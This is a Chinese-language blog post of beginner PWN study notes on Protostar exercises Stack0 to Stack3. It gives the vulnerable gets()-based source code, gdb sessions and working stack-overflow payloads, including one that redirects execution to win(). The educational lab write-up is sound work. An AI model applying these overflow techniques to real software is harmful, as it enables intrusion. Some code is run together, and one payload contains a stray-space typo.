快速刷通PWN的第一天

计划

声明:因为是自己学习的一个计划,所以可能并不是适用于所有人。但是尽可能考虑到由浅入深,由易到难。

一个比较推荐的二进制方面的课程是 Live OverflowBinary Hacking 课程,原版的视频是放在 YouTube 上的,但是有好心的小伙伴直接放在了 B 站上,方便大家学习。整个课程讲的非常浅显易懂,并且会带着你一步一步从零开始了解二进制的很多内容,强烈安利!考虑到最近有一次面向新手的技术分享,所以放在最开始,将结合一部分 Binary Hacking 课程和 Exploit-exercises(对于该部分的介绍将放入笔记正文中)的内容总结分享出来。

笔记

Exploit-exercises 介绍及笔记思路分析(不感兴趣的同学可直接跳入正文)

首先推荐一个练习平台:https://exploit-exercises.lains.space
这个平台主要包括了 Nebula 、Protostar、Fusion 等几个部分。基本顺序为 Nebula->Protostar->Fusion。官网上给了每个部分的虚拟机下载地址,但是下载速度可能非常慢,所以可以从 vulnhub (不是 P 神的 vulhub,vulhub 是偏向学 Web 的,对 Web 感兴趣的同学可以看看)上的镜像站点下载。

Nebula 介绍了一些非常常见的 Linux 下的概念和漏洞,学习完成 Nebula 将会对于 Linux 的本地攻击有一个相当透彻的了解(好吧,官网上自己号称的),并且可以粗略地了解一下远程攻击。这里给一份大佬放在 Github 上的 Nebula 部分的笔记:1u4nx/Exploit-Exercises-Nebula,感兴趣的小伙伴可以参考着去做。个人认为,如果对于 Linux 及相关漏洞没有过多了解,可以先从 Nebula 入手学习,如果有了一定的了解,就可以跳过 Nebula,直接进入下一阶段的 Protostar。

Protostar 是 Nebula 的下一个阶段,会介绍一些基本的内存损坏问题,例如没有开启保护下的 Linux 下的缓冲区溢出、格式化字符串漏洞和堆利用。个人认为这个模式是非常好的模式,因为对于新手而言,重要的不是做 PWN 题,而是清晰地理解底层原理,PWN 题只是一个学习的手段而已。所以虽然本系列笔记叫做快速刷通 PWN,但并不会以上来就会那一堆题目上手去刷题,那样只会流于表面的做题套路,而容易忽视真正的有价值的底层原理。欲速则不达,要想快就先慢。所以本系列笔记会从 Protostar 入手来去学习相关基础知识。

Fusion** 是 Protostar 的下一阶段,依然还是注重内存破坏、格式化字符串和堆利用,但是重点关注更高级的方案和在现代保护系统中的利用(即开启了各种保护**的情况下如何利用)。

所以,在本系列笔记的开始,甚至较长一段时间的开始,你会发现并没有去做任何一道 CTF 比赛中的 PWN 题,因为现有的 CTF PWN 题天然的自带逆向,其本质还是看源码,理解漏洞原理,所以我们跳过前面的一个逆向步骤,直接学习原理,完成之后再去带上逆向这一部分,这样能够更加节省学习时间和成本
Tips:

  • 有关栈相关基础知识可以参考:C语言函数调用栈(一) 和 C语言函数调用栈(二)
  • 有关栈溢出相关基础知识可以参考:CTF Wiki-栈溢出原理

正文

Stack0

题目源码如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>int main(int argc, char **argv)
{volatile int modified;char buffer[64];modified = 0;gets(buffer);if(modified != 0) {printf("you have changed the 'modified' variable\n");} else {printf("Try again?\n");}
}

经典的栈溢出,危险函数是 gets(),所以根据栈帧结构我们可以知道,如果 buffer 变量输入过长又没有经过校验会导致栈溢出,然后可以溢出覆盖掉局部变量 modified。通常来讲,这个题的WP就写完了,然而…考虑到小白同学不知道在说什么,所以开始会一步步分析,并且讲一些常用操作(大佬们请直接 pass)。

首先说一下代码逻辑,在 main 函数中定义了两个变量,一个是 volatile int型(这里插一句,volatile 告诉编译器,该变量不允许被优化消失(optimized out),因为有可能编译器优化之后会删除一些他认为不需要的条件跳转等其他情况,会强制编译器保持原样;具体可参考知乎上的这篇回答:谈谈 C/C++ 中的 volatile),一个是个 char 型的数组,长度为 64,然后将 modified 至0,并用 gets() 获取输入,放置到 buffer 数组中,然后后面的条件判断modified 是否不等于 0,如果不等于就成功,等于就不成功。代码中并没有改变 modified 值的地方,所以需要溢出来完成修改局部变量。

用 gdb 调试一下这个程序(这里先不用 peda,只用原生 gdb,保持和实验环境的一致性):

gdb stack0
(gdb) set disassembly-flavor intel # 更改显示指令集,默认是AT&T
(gdb) break *main # 在 main 函数处下断点
(gdb) disassemble main # 反汇编 main 函数
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0 # modified的位置在这里->DWORD PTR [esp+0x5c]
0x08048405 <main+17>:   lea    eax,[esp+0x1c] # buffer 的位置在这里->[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

由汇编代码我们可以看出 buffermodified 的距离,为 0x5c-0x1c=0x40=64,所以我们只需要输入超过64个字符即可覆盖到 modified 的位置。所以直接用python生成定长字符串给程序作为输入即可。

python -c 'print("A"*(4+16*3+14))' |./stack0

正常来讲,到上面题已经做完了,但是我还想稍微用一下 gdb 做动态调试,以方便大家使用。

(gdb) b *0x08048411 # 在0x08048411处下断点,b是break的简写
(gdb) define hook-stop # 定义一下hook函数,用于定义在每次中断的时候,做哪些操作(不用我们每次手打了,类似于peda的功能)
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>x/2i $eip
>end
(gdb) r
(gdb) c
Continuing.
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN
0xbffff750:     0xbffff76c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff760:     0xb7fd7ff4      0xb7ec6165      0xbffff778      0x41414141
0xbffff770:     0x42424242      0x43434343      0x44444444      0x45454545
0xbffff780:     0x46464646      0x47474747      0x48484848      0x49494949
0xbffff790:     0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d
0xbffff7a0:     0x4e4e4e4e      0xb7ff1000      0x0804845b      0x00000000
0x8048411 <main+29>:    mov    eax,DWORD PTR [esp+0x5c]
0x8048415 <main+33>:    test   eax,eax

可以清楚地看到我们的输入字符在栈中的位置(每组四个相同字母是为了更清晰地判断覆盖到哪一位了),我们发现距离 0x00000000 还有一段距离,所以补齐即可。这样如果不想看汇编代码去算的话,可以通过打印栈,然后数数的方式来去计算偏移,更加直观。还有 hook 函数的定义方式,也有一定的参考意义。

Stack1 & Stack2

Stack1 和 Stack2 与 Stack0 差别不大,所以不做详细赘述,这里只给出示例解答,感兴趣的小伙伴可自行完成或者参考。

# Stack1
python -c $'import struct\nprint("A"*(64)+struct.pack("I",0x61626364))' |xargs ./stack1
# Stack2
export GREENIE=$(python -c $'import struct\nprint("A"*(64)+struct.pack("I",0x0d0 a0d0a))') && ./stack2

Stack3

题目源码如下:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>void win()
{printf("code flow successfully changed\n");
}int main(int argc, char **argv)
{volatile int (*fp)();char buffer[64];fp = 0;gets(buffer);if(fp) {printf("calling function pointer, jumping to 0x%08x\n", fp);fp();}
}

相比较于之前的题目单纯覆盖局部变量,这道题需要去调用一个主函数中没有调用的“野函数”win()。其中 fp 是函数指针,如果 fp 不为 0 的话,就会调用 fp 指向的函数,并打印地址。那么还是根据堆栈结构,我们可以知道,用 win() 函数的地址覆盖 fp 变量就可以,所以先在的问题就简化成了:1. 偏移量是多少;2. win() 函数的地址是什么;我们还是用 gdb 来去调试一下,不断熟悉相关操作。

gdb stack3
(gdb) x win
0x8048424 <win>:        0x83e58955  # 我们可以知道 win() 函数的地址是 0x8048424
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048438 <main+0>:    push   ebp
0x08048439 <main+1>:    mov    ebp,esp
0x0804843b <main+3>:    and    esp,0xfffffff0
0x0804843e <main+6>:    sub    esp,0x60
0x08048441 <main+9>:    mov    DWORD PTR [esp+0x5c],0x0 # fp 的位置在这里->DWORD PTR [esp+0x5c]
0x08048449 <main+17>:   lea    eax,[esp+0x1c] # buffer 的位置在这里->[esp+0x1c]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    eax,0x8048560
0x08048461 <main+41>:   mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:   mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:   mov    DWORD PTR [esp],eax
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax # 调用fp所指向的函数,所以我们可以在这里下断点,查看eax的值是多少
0x08048477 <main+63>:   leave
0x08048478 <main+64>:   ret
End of assembler dump.
(gdb) b *0x08048475
Breakpoint 1 at 0x8048475: file stack3/stack3.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack3
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
...
(gdb) info registers # 查看寄存器的值
eax            0x51515151       1364283729   # 可以看到这里的eax寄存器的值是0x51515151,即`QQQQ`
ecx            0x0      0
edx            0xb7fd9340       -1208118464
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff750       0xbffff750
ebp            0xbffff7b8       0xbffff7b8
esi            0x0      0
edi            0x0      0
eip            0x8048475        0x8048475 <main+61>
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

所以我们知道了偏移量为 0x5c-0x1c=0x40=64(当然,可以直接下断点,查看 eax 寄存器的值,如上述代码中的示例),win() 函数的地址为 0x8048424,所以现在可以写 exp 了,需要注意的一点是实验机是小端系统,所以地址要按照小端的格式放入栈中,exp 如下:

# stack.py
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
padding += "\x24\x84\04\x08" # 0x8048424 在这里注意大小端
print(padding)
python stack.py > exp
./stack3 < ~/exp # 将exp文件中的内容重定向作为前一个文件的标准输入

总结

  • 今天大概了解了一下 Exploit-exercises 网站,过了一下 Protostar 上的前四道题目。
  • 学习了基础栈溢出原理,能够做到在无保护的情况下通过各种输入覆盖局部变量。
  • 学习了一下 gdb 的常用指令,包括下断点、查看反汇编代码、查看函数地址、定义断点 hook 函数、查看寄存器的值等指令。

预估学习时间:3 个小时(当然包含了写笔记的时间,写笔记也是强化记忆的一种方式)。

明天五一假期!哦不是今天!

快速刷通PWN的第一天相关推荐

  1. 快速刷通PWN——序

    序 (水怪声明:本人是水怪,擅长划水,水平有限,认识有限,所以大家在看的时候有什么槽点和认识错误或者建议非常希望大家能够评论给我,我会有则改之没有不改.另:本人身无长物,唯一感觉拿的出手的是排的一手好 ...

  2. P1000刷机知识+获取ROOT+HDVS_ROM快速刷机教程 by fox

    楼主  发表于: 04-17 大家好,我是Fox.本人学习P1000刷机相关知识一步步走来,期间正值HDVS发布自制ROM.在P1000二群中和大家一起交流,得到了不少帮助,也看到了很多新人问刷机方法 ...

  3. 东哥手把手带你套框架刷通二叉树|第一期

    学算法认准 labuladong 东哥带你手把手撕力扣???? 点击下方卡片即可搜索???? 读完本文,你可以去力扣拿下: 226. 翻转二叉树,难度 Easy 114. 将二叉树展开为链表,难度 M ...

  4. 东哥手把手帮你刷通二叉树|第二期

    学算法认准 labuladong 东哥带你手把手撕力扣???? 读完本文,你能去力扣解决如下题目: 654.最大二叉树(难度 Medium) 105.从前序与中序遍历序列构造二叉树(难度 Medium ...

  5. 大话西游维护完怎么刷服务器,大话西游2很实用:看高玩教你如何快速刷齐高端套装...

    大话西游2很实用:看高玩教你如何快速刷齐高端套装 先贴几张套装截图,免得有人说我吹牛,视图如下: 洞天套装 本人来自天界--花样年华,现在合区到在爱一次了,去年9月5号开的区,半年不到的时间各种套装毕 ...

  6. 关于阴阳师日和坊的快速刷出方法以及相关思考

    这次在家封闭无事可做.将之前玩的阴阳师又登上玩,用PC桌面版玩的. 重新玩的时候,都说日和坊好用,桃花妖太局限,斗技的时候也遇到好多日和坊(斗技只是为了拿点分去换材料),于是去刷日和坊 下面进入正题, ...

  7. pythonqq刷消息_QQ快速刷幸运字符

    QQ快速刷幸运字符 最近QQ新出了一个东西叫做QQ字符,要求近7天发700条消息,算了下这样就要求在不睡觉的情况下刷$\frac{700}{24 \times 7}=9.72$,也就是每小时发10条消 ...

  8. PyQt5快速入门教程3-QtDesigner设计第一个界面

    PyQt5快速入门教程3-QtDesigner设计第一个界面 1.开发环境清单 基本环境如下: Windows 10 Python 3.7 PyCharm 2019.3.3 x64 PyQt5相关的库 ...

  9. 明日方舟苹果IOS脚本快速刷关卡刷图

    明日方舟苹果IOS脚本快速刷关卡刷图 明日方舟是一款塔防类游戏,玩家集结各路干员,保家卫国搭建属于自己的基建,这款明日方舟IOS脚本,主要也是为了解决各类关卡过关慢的问题. 明日方舟苹果IOS脚本主要 ...

最新文章

  1. 干货|你的Paper阅读能力合格了吗(硕士生版)
  2. linux snmp磁盘io,cacti利用snmpdiskio 监控服务器磁盘
  3. 成功解决解决VM软件安装Linux的Ubuntu过程,开启Linux出现Oprating System not found错误
  4. php格式化金额函数分享
  5. 如何解决NLP分类任务的11个关键问题:类别不平衡低耗时计算小样本鲁棒性测试检验长文本分类 JayLou娄杰
  6. 在Windows10上安装WSL使用binwalk命令
  7. Cocos Creator 组件-画笔
  8. Leetcode 242. 有效的字母异位
  9. 3.2 LSTM、GRU RNN概述
  10. android studio httpclient包导入,HttpClient不会导入Android Studio
  11. matlab 全局符号变量,优化全局变量使用 - MATLAB Simulink Example - MathWorks 中国
  12. 线段树入门(线段懵逼树、加了一些解释,丰富了一下内容)
  13. Linux下查看电脑配置信息
  14. xxm系统-DB中勒索病毒
  15. 人的感性是否也属于理性的一种
  16. 用 Flask 来写个轻博客 (1) — 创建项目
  17. Jboss安装与部署实验
  18. Nesterov加速算法
  19. 字体图标兼容性,兼容IE
  20. Tablacus Explorer双心封装版

热门文章

  1. MTK芯片处理器对比资料图
  2. tomcat源码解读(一)
  3. CSS实现固定宽高比响应式布局(附实例分析)
  4. 【原创】华为ICS Lite 批量下载,不限数量,突破200个下载限制,几千个文件批量下载。
  5. 美通社日历 | 媒体关注、会展信息、企业财报发布,节假日备忘(8月3日—8月9日)...
  6. H5中段落自动空两格
  7. excel绘制气泡图步骤
  8. 使用Filler4提取微信小程序中的视频
  9. 今天看continous delivery看到extreme programming
  10. 023-公平感|领导者的内功